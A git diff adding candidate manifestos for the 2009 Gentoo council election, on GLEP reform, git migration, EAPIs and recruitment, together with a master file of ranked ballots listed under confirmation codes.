+thinking that he could need help in planning the thing, dividing tasks,
+getting more people working on it, etc... Robin is more than smart enough to do
+this himself but he seems to have too much to do at the moment. The council
+should follow-up on this with him and coordinate with other groups (e.g. devrel
+for additional manpower, or PR to publicize his needs, etc...) in order to help
+him make progress on this.
+
+GLEP process
+------------
+
+Better follow-up on the GLEP process and have people actually respect the
+spirit of it as written in GLEP 1. Things like making sure the GLEP champion is
+actively looking to build consensus or documenting the thinking process that
+occurs on lists come to mind. Build small teams around each GLEP and give them
+clear goals and deadlines that they agree with, rearrange the teams when the
+goals and/or deadlines are not respected (because life happens). Maybe review
+some of the aspects of GLEP 1. The intent is to have the GLEP process work
+better, clear-up the GLEP pipeline and have people work more together.
+
+Proactively secure our critical activities
+------------------------------------------
+
+List all the critical activities in Gentoo and identify what their needs are.
+For example: security, portage, infra (these are only examples). Make sure
+their needs are covered. Involve e.g. devrel (for internal or external
+recruitment) or trustees (for finances) if they're not. Setup a way to
+continuously monitor these needs in the future, as well as a way to update the
+list of critical activities as needed.
+
+New organization
+----------------
+
+Decide if we need a new organization and work on it if needed. You have
+probably seen drafts of my organizational GLEP. This has since then generated
+ideas and I'm currently merging my ideas with mainly Tiziano's but also others'
+into something that I find way better than my original proposal. More
+discussion will certainly ensue, and more ideas will come up, but the
+implementation may take enough time that a whole term may not be too much to
+prepare and actually do it. Some of the changes are simple enough that they can
+certainly be experimented with right now. Others can be implemented
+progressively along the year. The target is to get an organization which will
+be at the same time more flexible, simpler, and more importantly more efficient
+than what we currently have. As soon as it will be presentable I'll send it to
+the -dev@ mailing-list. Some of the proposed changes are actually already in
+this manifesto.
+
+Merge devrel and userrel
+------------------------
+
+These two groups have been wanting to merge for a long time but it just does
+not happen. Maybe the help of the council and its more strategic view is
+required here to make things easier and more official.  In case the switch to a
+new organization does not happen it may also be a good opportunity to reshuffle
+responsibilities. Some of the global issues which are more or less implicitly
+incumbent on the council as per GLEP 39 could be explicitly transferred to this
+new entity. This whole thing could be done in two steps, first the merge
+without much change (only a consolidation of the manpower) and then the
+rethinking of how the council will work with this new entity.
+
+Experts
+-------
+
+Formation of a group of "experts" (for lack of a better name) to discuss future
+EAPIs and other technical issues. The members need not necessarily be all
+Gentoo developers, and may change over time on an as-needed basis. The council
+will ask them to discuss specific topics and they will document their
+discussions and explain their opinions. They do not need to all agree on
+everything, the council will then make decisions based on their work. The idea
+is to get rid of the bickering during council meetings while still allowing
+discussions. This will also allow the council to have more time to work on
+other topics like those listed above.
+
+Share with other distros
+------------------------
+
+Try and see whether we can share some of our workload with akin distros. I had
+a very nice discussion with Bryan Østergaard at FOSDEM 2009, and I'm sure Fabio
+Erculani wouldn't mind discussing that either. The idea is the more we share,
+the less we do but the farther we go. Not counting the impact on pacifying our
+relationships. And before you say those three do not have enough in common to
+share workload I suggest you think outside the box. This won't certainly be
+easy and won't happen overnight, and it may not lead anywhere, but it's worth
+exploring.
+
+
+===============
+*Post scriptum*
+===============
+
+I understand that all of the above is very ambitious and some of it will
+probably not be achieved in one term, if ever. I listed them anyway because
+that's what I believe we should work on. If you want to adopt these ideas or
+even claim them as yours, that's OK with me as long as you make them happen.
+
diff --git a/xml/htdocs/proj/en/elections/council/2009/manifesto/dertobi123.txt b/xml/htdocs/proj/en/elections/council/2009/manifesto/dertobi123.txt
new file mode 100644
index 00000000..2c6c7d99
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/manifesto/dertobi123.txt
@@ -0,0 +1,87 @@
+Involvement.
+============
+The time I've spent with Gentoo in the past few years has shown
+involvement. Starting as a user, helping others in the forums and on
+mailing-lists I quickly started contributing. First with German
+translations of GWN and documentation, for which I became responsible quite
+fast. Afterwards I took the ebuild quiz and helped our PPC team maintaining
+the stable-tree and started building the release-media for HPPA plus I'm
+maintaining several packages for now.
+
+To quote Daniel Robbins [1]:
+"And if you are already a developer who wants the Gentoo ecosystem to
+improve, consider getting involved with the council, as a trustee, or work
+to give regular users more of a voice on the project. Gentoo the distro
+begins and ends with its users."
+
+Running for the council is another (logical?) step of involvement.
+
+
+Reliability.
+============
+
+While getting more and more involved with Gentoo I always tried to not make
+wrong promises I couldn't hold. Being responsible for the HPPA
+release-media for about 2 years and PPC's security liaison for about one
+and a half year has shown that I'm trying to be a reliable community
+member. (Uber could argue that I failed at writing the Gentoo/FreeBSD SPARC
+doc, yeah I failed at that - sorry :P)
+
+
+Accountability.
+===============
+
+Though I think we need a strong council which is empowered by all
+Gentoo Developers taking part in this election and therefore free in it's
+decision making process, I think that the council's decisions should be
+made upon what's best for Gentoo and our community. Also decisions should
+reflect Gentoo's interests and not individual opinions.
+
+Once a decision is taken by a majority of council members I would expect
+all council members to respect and support this decision - as it's been
+made on Gentoo's interests and not individual preferences. Doing otherwise would
+lead into a weak council which isn't able to enforce their decisions.
+
+Questions.
+==========
+
+1) What you will do?
+
+Everything which needs to be done, especially focused on improving
+Gentoo's "ecosystem" and community relations. I'm pretty sure social
+problems can't be fixed by technical solutions - therefore we need to
+improve community relations and possibilities for users to get involved.
+
+2) Why you will do it
+
+See "Involvement".
+
+3) How you will do it?
+
+See "Accountability".
+
+4) What is the timescale for doing it?
+
+The timescale I'm elected for.
+
+5) What experience do you have with this or a similar role?
+
+I was responsible for managing German translations a while ago, but no real
+experience in that tbh.
+
+6) Why do you think you are qualified?
+
+See "Involvement".
+
+7) How you plan to balance a council role with your current Gentoo role?
+
+I can't see problems where council decisions can conflict with my current
+Gentoo roles, but if so it'll be my duty as a council member to vote on
+Gentoo's interests and not my personal preferences.
+
+8) How much time can you dedicate to the council role
+
+As much time as needed.
+
+
+[1] http://blog.funtoo.org/2007/07/your-choices-with-gentoo.html
diff --git a/xml/htdocs/proj/en/elections/council/2009/manifesto/dev-zero.txt b/xml/htdocs/proj/en/elections/council/2009/manifesto/dev-zero.txt
new file mode 100644
index 00000000..40204ad4
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/manifesto/dev-zero.txt
@@ -0,0 +1,48 @@
+Manifest
+========
+
+Jun 16, 23:25
+
+Since the voting period started, I’d like to give people a bit of information
+why they should vote for me and those who already consider it an impression of
+what my plans would be.
+
+The past election period
+------------------------
+
+One of my first proposals was to have a Secretary. Initially I advocated a
+rotating scheme where every council gets the Secretary job once in a while but
+since tanderson was kind enough to volunteer we got a “full-time” Secretary who
+made sure that the summary is available a couple of days after the meeting and
+who also made sure that decisions where clearly phrased (like the deprecation
+of eclasses).
+
+From the technical side EAPI-3 was probably the biggest topic I worked on.
+Thanks to a lot of help from others we finally managed to get the
+specifications done and are now waiting for the implementation.
+
+Some are surely disappointed that features they advocated for or proposed
+didn’t get included. The reason is that a line has to be drawn at some point
+and since we don’t have an EAPI development process the “feature freeze” might
+have come suddenly for some. Which brings me directly to the plans I have,
+should the developers trust me once more:
+
+What I would do in the next election period
+-------------------------------------------
+
+First I’d push forward the development of an EAPI development process to make
+the development more transparent. And guessing from the amount of mails
+concerning new features we shouldn’t wait too long for a new EAPI-4 as well.
+
+From the organizational side I’d like to continue my work on the
+re-organization GLEP Calchan and I are working on since I believe that a better
+structure also leads to more fun in development.
+
+In short terms
+--------------
+
+Vote for me if you want someone who knows how to organize meetings, how to push
+technical and organizational innovations and actively shapes the future of
+Gentoo.
+
+— Tiziano Müller
diff --git a/xml/htdocs/proj/en/elections/council/2009/manifesto/gentoofan23.txt b/xml/htdocs/proj/en/elections/council/2009/manifesto/gentoofan23.txt
new file mode 100644
index 00000000..2d2a37fb
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/manifesto/gentoofan23.txt
@@ -0,0 +1,81 @@
+:Author:  Thomas Anderson (irc: tanderson, ballot: gentoofan23)
+:Contact: gentoofan23@gentoo.org
+:Date:    04 Jun 2009
+
+'Thank You's
+============
+
+I first would like to thank the general developer community for the overall
+positive experience I've had over the past three years working with Gentoo. I'd
+also like to thank the outgoing council for the mentorship and trust they've
+given me, I've learned quite a bit from them.
+
+Qualifications / Who am I?
+==========================
+
+I've been involved with the Gentoo community for 3 years now. I was an active
+Arch Tester for the AMD64 project for two years, and an official Gentoo
+Developer for a year. As a developer I've been involved with the sunrise
+project and AMD64. I've also been the secretary to the Gentoo Council for the
+past six months. As the secretary, I've become intimately familiar with what
+the Council does and have garnered experience that enables me to judge what
+Gentoo needs in the coming year. My occupation is a student which I will be for
+the next 6 years or more so I'll have plenty of time to devote to the Council.
+
+How I will attack the problem of dissenting opinions
+====================================================
+
+This past year, we've had quite a few contrary opinions on various things.
+What's compounded the problem of lack of agreement is the lack of positive work
+towards an end goal -- instead of working together for a commone desire and
+goal we try to show why other people are wrong. What I intend to do is to have
+positive discussions towards a goal (How can we change, improve, and refine
+proposals to have greater acceptance ). I've been doing this some in the past
+and I believe it is the correct way to move forward.
+
+Goals for my term
+=================
+
+Apart from what is mentioned above, primary goals are as follows(in no
+particular importance):
+
+Make a transition to git for gentoo-x86.
+----------------------------------------
+
+We must handle this transition smoothly. We'll need to make sure all
+documentation is updated. We may need to appoint people(or do the work
+ourselves) for this. We need to actually make use of git's strongest asset to
+the Gentoo community -- external contributors. If we can broadcast to our
+userbase that being a 'dev' is nothing fancy and that anyone can make commits
+which are simply signed off on and pushed. In my opinion, this can strengthen
+us and bring the rift between the user community and developer community much
+smaller.
+
+Gather insight from the developer community on proposals.
+---------------------------------------------------------
+
+I intend to institute a "friend of the council" system where interested
+individuals(not necessarily developers) can privately email the council with
+their opinions and insight into the problem at hand. The advantage of this is
+that council members do not have to wade through 200 -dev emails that have
+hostile disputes between multiple factions to determine the technical arguments
+in favor and against the proposal at hand. I think this will make it simpler
+for council members to know the pros/cons of each. Note that this doesn't mean
+that I think that if people in favor of a proposal send in more emails than
+those against a proposal I will vote in favor of the proposal, far from it. Nor
+would this mean council members do not need to read -dev, dutiful reading of
+-dev is a council member's responsibility.
+
+Get the council working more smoothly.
+--------------------------------------
+
+Six month discussions with no results are unnacceptable and we need operate on
+a goal-oriented basis where we know a problem(first we _must_ agree there's a
+problem), possibly a proposed solution and then have various 'blockers' that
+need to be solved before accepting the solution and having the problem
+eliminated. Part of the council working smoothly is to present our opinions and
+discuss blockers on-list before meeting and then voting and any
+last-minute(there should be few of these at the meeting however) discussions at
+the meeting in a +m(moderated) environment, voicing individuals as desired for
+input. This'll avoid the back and forth in meetings that really should happen
+on list before meeting.
diff --git a/xml/htdocs/proj/en/elections/council/2009/manifesto/patrick.txt b/xml/htdocs/proj/en/elections/council/2009/manifesto/patrick.txt
new file mode 100644
index 00000000..5579d113
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/manifesto/patrick.txt
@@ -0,0 +1,89 @@
+:Author:  Patrick Lauer
+:Contact: patrick@gentoo.org
+:Date:    17 Jun 2009
+
+Who are you?
+------------
+
+Patrick Lauer, says my birth certificate. I'm a mixed european, somewhere near
+28 years old, working as admin or programmer, depending on the season.
+I've been using Gentoo since early 2001 or so and been a dev from 2004 to 2006
+and since late 2008.
+
+What do you do in Gentooland?
+-----------------------------
+
+Currently I'm trying to fix what I think needs it most. So I'm jumping around
+between KDE (which manages quite well without me these days), the forensics and
+benchmark herds, co-maintaining a few random things like Virtualbox, bumping
+random ebuilds and trying to build everything in the tree. I want Gentoo to be
+on the bleeding edge again, which means getting newer versions of packages to
+users. Since manpower is always an issue I don't care about territorialism and
+just bump or fix packages (apart from critical things like system packages and
+silly distractions like games).
+The build-it-all process has been mostly taken over by Flameeyes, so I focus
+more on fixing things whenever I find the time and motivation.
+I'm also one of the #gentoo ops and one of those people that are on IRC way too
+much, you might know me as bonsaikitten.
+
+What are your plans?
+--------------------
+
+World domination!
+Apart from that I want to improve the basis of Gentoo. Most people seem to like
+castles in the sky and shiny stuff that blinks a lot, but their ideas won't be
+possible without a solid foundation to build on. What do I mean by that?
+
+* Infrastructure - We don't hear much because it tends to work (which by itself
+  is quite awesome). But do we have everything we need? Are there things that can
+  be improved?
+* Security - You don't tend to hear much from that team unless you fail to fix
+  the bugs they uncover and report. GLSAs etc. allow many of us to use Gentoo
+  for servers and work. Are we doing the best we can there?
+* PR - wow. One of our black holes. How can we expect to be the most awesome
+  distro when we can't even communicate who we are?
+* Stable, unstable, overlays - It's getting harder for users to have the newest
+  and most shiny. Arch teams are notoriously overworked and find it hard to
+  recruit new blood. That needs fixing
+* Recruiting and getting users involved. Since we do have a lack of manpower in
+  many places we depend on users stepping up to help out. And we're making it too
+  hard for them to contribute. Gotta fix that too.
+
+That's the, uhm, "strategic" goals. If we can improve these areas many other
+things will become easier, which means we'll be able to do more awesome things.
+I really want every dev to be subscribed to the gentoo-dev@ mailinglist again.
+Which means we need to improve the interaction and the signal-to-noise ratio a
+lot. If that means muting repeat offenders so be it, but what good is a
+mailinglist when those that should read it don't?
+
+And having everyone on the same page might lead to more interactions, which
+usually leads to some good new things appearing. The whole Code of Conduct /
+Proctors thing didn't work out that well, so we need to see what went wrong and
+fix that.
+
+There are many small things like the GLEP process, PMS, sunrise and about two
+dozen I can't remember right now that need some contemplation too.
+
+You might notice that I didn't mention the whole EAPI tarbaby until now. And
+that for a good reason - I don't think it contributes that much to be worth
+that much discussion time. We have enough different EAPIs now to confuse
+people, so we should think about a schedule to limit the proliferation of new
+ones (say, one a year? That can be discussed). In the same spirit we should
+deprecate old ones so there's EAPI0 for legacy reasons and "the newest one" for
+stuff that gets changed or added to the tree. Keep it simple. And as long as we
+are short on manpower it might be a good idea to keep destructive ideas like
+GLEP55 to a minimum.
+
+I hope the new council improves the time management for meetings, the last ...
+oh ... three? four? meetings were mostly taken over by circular discussions
+about fancy stuff instead of getting things done. It's quite disappointing to
+see the most heated debate about the most irrelevant things suck out the little
+time people have, so I am strongly in favour of avoiding that.
+
+Now if you're still reading I must thank you for your patience, if you can
+please vote in the council election. It's your privilege as a dev, let your
+voice be heard. And if it is only a random vote - it takes all of five minutes,
+if you can't be bothered to do that you're really strange.  Take care, have
+fun, be awesome,
+
+Patrick
diff --git a/xml/htdocs/proj/en/elections/council/2009/manifesto/scarabeus.txt b/xml/htdocs/proj/en/elections/council/2009/manifesto/scarabeus.txt
new file mode 100644
index 00000000..cf829864
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/manifesto/scarabeus.txt
@@ -0,0 +1,102 @@
+:Author:  Tomáš Chvátal (scarabeus)
+:Contact: scarabeus@gentoo.org
+:Date:    14 Jun 2009
+
+Who on earth is this person?
+============================
+
+Gentoo part
+-----------
+
+I am kde team member where I am responsible for making sure our overlay works
+out well and recruiting new minions for our team. You can also find me messing
+around various eclasses (git/cmake/kde) where I try to implement requests as
+fast as possible in usable manner. Some people might noticed that I am also
+member of Sunrise team. The Sunrise overlay is nice overlay where users can
+commit ebuilds directly. And last but not least I am in X11 team, where I try
+to mess around -ati and mesa ebuilds, which I personally hope are working for
+you flawlessly ;] I started using gentoo in 2002/3 and as developer you might
+see me since 2008/11.
+
+Personal part
+-------------
+
+For those that are interested about knowing whom I am in real life it is quite
+boring. I am 23 years old student of CULS (www.czu.cz/en/) where I study IT. I
+am also university employee, where I work with windows/linux stuff and teach
+stuff like GPS. Also I like good beer and cookies, if any of you would like to
+bribe me ;]
+
+Plans/Goals for my term
+=======================
+
+The stuff in here is not ordered by priority, but by the moment I find them on
+the various places on my disk where I store notes ;]
+
+GLEP rules
+----------
+
+We should clear out some project approach for handling new gleps so we would
+avoid the drama and flames on -dev when there is something not popular enough
+announced. This will probably need update for glep-1 and friends so it will
+need proper discussion with all interested parties.
+
+GIT migration
+-------------
+
+Surprisingly as kde team has kde-testing overlay where, I spent most of my
+time, I have really strong feelings against cvs so it is always fight with
+inner me when I need to commit in main tree. Git would allow us big teams
+handle our bumps/removals more nicely (no need for 260 commits per each). So I
+would probably focus on working with Robin on all missing parts to make it
+done. I won't elaborate here more because tanderson and Calchan described the
+git benefits quite well :]
+
+Promote HT usage and Sunrise
+----------------------------
+
+The herd-testers and Sunrise allow us to introduce our project and its workflow
+to community where we all can benefit from it. Big part of the current kde team
+are former HTs. If we would be able to promote the herd-tester idea we devs
+would not need to worry about some regular stuff like bumps and we would
+actually just review work of them. Which leads in the end into growing
+developer base, because we train people to do the developer work itself :]
+Promoting the idea all around gentoo would give us at least some steady flow of
+people interested in the gentoo that would be easy-to-pick by any team.
+Sunrise, on the other hand, is strictly user overlay which needs to promote
+just about announcing that "Even YOU (here imagine uncle Sam) can do your
+ebuild". Where the overlay usage can in long term provide new developers and
+actually promote gentoo in way where anyone can fix the stuff that is itching
+him.
+
+Herds and manpower distribution
+-------------------------------
+
+The current structure allows that some parts of the gentoo are totally
+unmaintained and bugs practically end up in the black hole. We should have some
+reasonable structure preventing this. The default structure is to be decided
+but I would see it something like gentoo_bugs target where all devs would be.
+The devs would be free to remove themselves, but aggregating the bugs into
+specific imap folder should not be hard, so it won't definitely harm a kitten
+and we all would actually know that something wrong is happening somewhere.
+Also, when bugs are assigned, the announcement information to the bug would be
+appended informing that the team is currently in trouble and the bugs including
+patches are highly appreciated. So this is my basic unpolished idea about what
+I would like to create in this area :]
+
+Sum up
+======
+
+These are the areas that I would like to focus but they are definitely not the
+only ones I will be working in. There are lot of things I would like to do, but
+I am only one person and a day has 24 hours. So I will do my best to implement
+as much shiny as possible at best possible quality. My effort will definitely
+be focused to better experience in development and gentoo usage as whole.
+
+Endline
+=======
+
+I would really like to express my gratitude for being nominated and I really
+hope I would not fail your trust in this meatbag called scarabeus. Also i would
+like to thank to tanderson from whom i stole this idea of using rst template
+file.
diff --git a/xml/htdocs/proj/en/elections/council/2009/master-council200906.txt b/xml/htdocs/proj/en/elections/council/2009/master-council200906.txt
new file mode 100644
index 00000000..a3ad2509
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2009/master-council200906.txt
@@ -0,0 +1,1187 @@
+--------- confirmation 2743 ---------
+betelgeuse calchan
+gentoofan23 patrick dertobi123 scarabeus dev-zero
+lu_zero
+_reopen_nominations
+peper leio ssuominen ulm solar
+--------- confirmation 2854 ---------
+solar
+leio
+scarabeus
+dev-zero
+gentoofan23
+patrick
+calchan
+peper
+lu_zero
+ulm
+dertobi123
+ssuominen
+betelgeuse
+_reopen_nominations
+--------- confirmation 2e50 ---------
+patrick
+solar
+lu_zero ulm leio
+scarabeus ssuominen
+_reopen_nominations
+calchan dertobi123 betelgeuse dev-zero gentoofan23 peper
+--------- confirmation 3133 ---------
+betelgeuse
+calchan dertobi123 ssuominen solar
+lu_zero dev-zero ulm leio peper
+gentoofan23
+patrick
+scarabeus
+--------- confirmation 3303 ---------
+calchan betelgeuse
+ssuominen ulm leio lu_zero
+solar dertobi123
+_reopen_nominations
+peper scarabeus gentoofan23 dev-zero patrick
+--------- confirmation 338c ---------
+ulm dertobi123
+calchan
+leio
+patrick
+solar
+lu_zero
+_reopen_nominations
+ssuominen scarabeus
+betelgeuse dev-zero peper
+gentoofan23
+--------- confirmation 3ac6 ---------
+leio
+gentoofan23
+scarabeus
+calchan
+ssuominen
+patrick
+betelgeuse
+dev-zero
+solar peper lu_zero dertobi123 ulm
+_reopen_nominations
+--------- confirmation 3e1f ---------
+dertobi123
+dev-zero
+ulm
+solar
+betelgeuse
+lu_zero
+scarabeus patrick calchan leio ssuominen gentoofan23 peper
+--------- confirmation 3e2c ---------
+leio betelgeuse calchan solar dertobi123 lu_zero
+ssuominen ulm
+scarabeus patrick
+_reopen_nominations
+dev-zero gentoofan23 peper
+--------- confirmation 3f35 ---------
+leio betelgeuse calchan
+lu_zero solar
+patrick ssuominen gentoofan23
+scarabeus
+peper
+ulm
+dertobi123
+dev-zero
+--------- confirmation 0657 ---------
+dev-zero
+dertobi123 betelgeuse gentoofan23 ulm peper
+calchan scarabeus ssuominen
+_reopen_nominations
+lu_zero leio
+patrick
+solar
+--------- confirmation 460a ---------
+dev-zero
+betelgeuse
+scarabeus
+dertobi123
+calchan
+ulm
+gentoofan23
+lu_zero
+leio
+peper
+ssuominen
+solar
+patrick
+_reopen_nominations
+--------- confirmation 46ec ---------
+ssuominen
+leio gentoofan23 lu_zero betelgeuse
+solar ulm dev-zero scarabeus peper calchan dertobi123
+_reopen_nominations
+patrick
+--------- confirmation 4e08 ---------
+lu_zero dev-zero
+leio ulm
+dertobi123 betelgeuse
+calchan solar ssuominen
+gentoofan23 peper patrick scarabeus
+_reopen_nominations
+--------- confirmation 514d ---------
+ulm
+gentoofan23
+dertobi123
+scarabeus
+betelgeuse
+calchan
+ssuominen leio
+peper
+lu_zero
+_reopen_nominations
+dev-zero
+patrick
+solar
+--------- confirmation 52f9 ---------
+leio
+betelgeuse
+dev-zero
+solar
+ssuominen
+lu_zero
+gentoofan23 ulm scarabeus patrick peper calchan dertobi123
+--------- confirmation 53aa ---------
+dertobi123
+betelgeuse ulm
+solar patrick lu_zero leio
+_reopen_nominations
+peper gentoofan23 ssuominen calchan scarabeus dev-zero
+--------- confirmation 08a7 ---------
+_reopen_nominations
+dev-zero
+betelgeuse
+calchan
+lu_zero
+leio
+solar
+ulm
+gentoofan23
+peper
+patrick
+ssuominen
+dertobi123
+scarabeus
+--------- confirmation 5da6 ---------
+solar lu_zero dev-zero
+dertobi123
+ulm calchan
+leio ssuominen
+patrick
+betelgeuse
+scarabeus
+gentoofan23
+peper
+--------- confirmation 5e53 ---------
+gentoofan23
+ulm
+dev-zero
+betelgeuse
+calchan
+dertobi123
+peper
+_reopen_nominations
+ssuominen lu_zero
+solar
+scarabeus patrick leio
+--------- confirmation 5e9c ---------
+scarabeus
+leio
+gentoofan23
+dev-zero
+dertobi123
+peper
+ssuominen
+betelgeuse
+ulm
+lu_zero
+calchan
+solar
+patrick
+_reopen_nominations
+--------- confirmation 0982 ---------
+scarabeus
+solar
+gentoofan23
+dev-zero
+betelgeuse
+peper
+ssuominen
+ulm
+--------- confirmation 5f24 ---------
+solar
+betelgeuse
+calchan
+patrick
+gentoofan23
+lu_zero
+dev-zero scarabeus
+dertobi123
+peper leio ulm
+ssuominen
+--------- confirmation 6136 ---------
+calchan gentoofan23
+betelgeuse dertobi123 dev-zero leio ulm
+ssuominen scarabeus peper patrick
+solar lu_zero
+--------- confirmation 615d ---------
+patrick
+gentoofan23
+dev-zero
+calchan
+dertobi123
+scarabeus
+solar
+lu_zero
+ulm
+ssuominen
+leio
+betelgeuse
+peper
+_reopen_nominations
+--------- confirmation 638a ---------
+scarabeus
+patrick
+calchan
+gentoofan23
+lu_zero
+dertobi123
+leio
+ssuominen
+ulm
+solar
+peper
+dev-zero
+betelgeuse
+--------- confirmation 646d ---------
+ulm ssuominen scarabeus solar
+_reopen_nominations
+--------- confirmation 6561 ---------
+lu_zero calchan
+dertobi123 leio
+patrick dev-zero
+peper ulm scarabeus ssuominen gentoofan23
+solar betelgeuse
+--------- confirmation 67b3 ---------
+betelgeuse
+dertobi123 dev-zero calchan gentoofan23
+scarabeus leio
+solar lu_zero ulm ssuominen
+patrick peper
+_reopen_nominations
+--------- confirmation 67bc ---------
+calchan
+lu_zero
+patrick
+scarabeus
+ulm dertobi123 ssuominen leio solar
+_reopen_nominations
+betelgeuse
+dev-zero
+gentoofan23
+peper
+--------- confirmation 68e2 ---------
+dev-zero
+ulm lu_zero
+scarabeus
+betelgeuse calchan
+dertobi123 leio
+patrick ssuominen
+_reopen_nominations
+peper
+gentoofan23 solar
+--------- confirmation 6a7e ---------
+dertobi123
+peper leio
+betelgeuse
+dev-zero lu_zero
+solar ssuominen ulm calchan scarabeus gentoofan23 patrick
+--------- confirmation 6f7b ---------
+ssuominen betelgeuse dertobi123 dev-zero lu_zero
+calchan patrick scarabeus
+--------- confirmation 0b3e ---------
+solar
+leio calchan
+betelgeuse
+scarabeus patrick
+ulm dertobi123
+lu_zero
+ssuominen
+gentoofan23
+_reopen_nominations
+dev-zero peper
+--------- confirmation 70b5 ---------
+lu_zero leio ulm solar
+calchan
+patrick
+dertobi123
+ssuominen
+scarabeus
+gentoofan23
+_reopen_nominations
+betelgeuse
+peper
+dev-zero
+--------- confirmation 7122 ---------
+calchan solar ssuominen
+dertobi123 lu_zero
+leio gentoofan23
+ulm
+scarabeus patrick
+_reopen_nominations
+peper betelgeuse dev-zero
+--------- confirmation 760f ---------
+solar
+lu_zero
+ulm scarabeus
+dertobi123
+patrick calchan
+gentoofan23 betelgeuse
+_reopen_nominations
+dev-zero
+peper
+leio ssuominen
+--------- confirmation 7a98 ---------
+gentoofan23 patrick dertobi123 scarabeus ssuominen dev-zero betelgeuse
+ulm
+solar
+leio
+calchan
+peper
+lu_zero
+--------- confirmation 7bba ---------
+solar
+betelgeuse dertobi123 leio
+ssuominen lu_zero
+calchan patrick
+scarabeus dev-zero peper gentoofan23 ulm
+--------- confirmation 7c5b ---------
+calchan
+solar gentoofan23 betelgeuse dev-zero
+dertobi123
+ssuominen lu_zero ulm
+leio
+patrick
+scarabeus
+_reopen_nominations
+peper
+--------- confirmation 7e57 ---------
+solar
+dertobi123
+betelgeuse
+calchan
+patrick
+dev-zero
+lu_zero
+scarabeus
+ulm peper leio gentoofan23 ssuominen
+_reopen_nominations
+--------- confirmation 0caa ---------
+solar gentoofan23
+ulm leio
+dev-zero lu_zero
+betelgeuse calchan
+dertobi123 patrick
+_reopen_nominations
+scarabeus
+peper ssuominen
+--------- confirmation 800a ---------
+solar
+lu_zero
+leio
+betelgeuse
+dev-zero calchan gentoofan23 scarabeus ulm peper ssuominen patrick dertobi123
+_reopen_nominations
+--------- confirmation 8073 ---------
+patrick
+leio
+scarabeus
+solar
+ulm
+dertobi123
+calchan
+_reopen_nominations
+betelgeuse lu_zero
+peper ssuominen gentoofan23
+dev-zero
+--------- confirmation 8281 ---------
+solar lu_zero calchan
+betelgeuse
+peper gentoofan23 patrick ulm dev-zero
+dertobi123 leio
+ssuominen scarabeus
+_reopen_nominations
+--------- confirmation 82ba ---------
+gentoofan23 betelgeuse solar dev-zero
+dertobi123 ssuominen
+calchan ulm leio patrick scarabeus peper lu_zero
+_reopen_nominations
+--------- confirmation 84ab ---------
+dertobi123 dev-zero
+ulm
+betelgeuse
+calchan
+solar
+ssuominen
+_reopen_nominations
+lu_zero
+leio
+gentoofan23
+peper scarabeus patrick
+--------- confirmation 85a6 ---------
+ssuominen leio
+scarabeus
+calchan
+dev-zero
+solar
+ulm
+peper
+patrick
+lu_zero
+gentoofan23
+dertobi123
+betelgeuse
+--------- confirmation 860d ---------
+calchan solar ssuominen dertobi123 gentoofan23 peper betelgeuse ulm lu_zero leio
+dev-zero scarabeus
+patrick
+_reopen_nominations
+--------- confirmation 8623 ---------
+calchan ulm ssuominen betelgeuse dertobi123
+leio patrick scarabeus
+_reopen_nominations
+gentoofan23 dev-zero lu_zero
+peper
+solar
+--------- confirmation 88d3 ---------
+calchan
+gentoofan23 peper
+betelgeuse dev-zero
+ssuominen dertobi123
+scarabeus ulm patrick leio
+lu_zero
+_reopen_nominations
+solar
+--------- confirmation 8b1f ---------
+patrick
+dertobi123
+solar
+calchan
+lu_zero
+betelgeuse
+_reopen_nominations
+ulm
+scarabeus
+ssuominen
+leio
+peper gentoofan23 dev-zero
+--------- confirmation 8b2b ---------
+gentoofan23
+betelgeuse
+dev-zero
+calchan
+dertobi123
+peper
+scarabeus
+_reopen_nominations
+ulm
+lu_zero
+ssuominen
+patrick
+leio
+solar
+--------- confirmation 94b2 ---------
+solar
+betelgeuse leio
+dertobi123
+dev-zero patrick
+ulm scarabeus calchan lu_zero
+gentoofan23
+ssuominen
+peper
+--------- confirmation 9764 ---------
+patrick
+solar
+calchan
+dev-zero
+gentoofan23
+betelgeuse
+lu_zero dertobi123 ssuominen scarabeus peper ulm leio
+_reopen_nominations
+--------- confirmation 97cf ---------
+calchan lu_zero betelgeuse
+dev-zero ulm patrick peper
+ssuominen dertobi123 solar
+leio scarabeus gentoofan23
+_reopen_nominations
+--------- confirmation 9883 ---------
+ulm
+patrick
+lu_zero
+solar
+calchan
+leio
+scarabeus
+ssuominen
+_reopen_nominations
+dertobi123
+betelgeuse
+peper
+dev-zero
+gentoofan23
+--------- confirmation 9998 ---------
+betelgeuse
+ulm
+solar
+calchan
+patrick
+gentoofan23
+scarabeus
+leio
+peper
+dertobi123 dev-zero
+lu_zero ssuominen
+_reopen_nominations
+--------- confirmation 99a8 ---------
+betelgeuse dev-zero
+gentoofan23 calchan dertobi123 peper
+scarabeus
+leio solar lu_zero ssuominen
+ulm
+patrick
+--------- confirmation 9a74 ---------
+lu_zero solar
+patrick ssuominen calchan
+leio scarabeus dertobi123
+betelgeuse ulm
+_reopen_nominations
+--------- confirmation 9fe7 ---------
+solar
+leio lu_zero calchan
+scarabeus ulm ssuominen
+patrick
+dertobi123
+betelgeuse
+dev-zero peper gentoofan23
+_reopen_nominations
+--------- confirmation a250 ---------
+lu_zero dertobi123 solar
+patrick dev-zero ssuominen betelgeuse gentoofan23 scarabeus ulm leio calchan peper
+_reopen_nominations
+--------- confirmation a898 ---------
+lu_zero solar dertobi123
+calchan gentoofan23 ssuominen patrick ulm leio scarabeus betelgeuse peper dev-zero
+--------- confirmation a961 ---------
+leio
+patrick
+ulm
+ssuominen
+lu_zero
+scarabeus
+solar
+betelgeuse
+gentoofan23
+calchan
+dertobi123
+dev-zero
+peper
+_reopen_nominations
+--------- confirmation b0b8 ---------
+ulm dertobi123
+leio calchan
+scarabeus patrick
+_reopen_nominations
+ssuominen
+betelgeuse dev-zero
+lu_zero solar
+gentoofan23 peper
+--------- confirmation b14c ---------
+ulm
+dertobi123
+betelgeuse
+solar
+gentoofan23
+calchan
+_reopen_nominations
+scarabeus
+ssuominen
+leio
+patrick
+lu_zero
+dev-zero peper
+--------- confirmation b17e ---------
+patrick dertobi123
+calchan
+ssuominen
+scarabeus ulm
+lu_zero
+solar
+leio
+peper
+gentoofan23
+betelgeuse
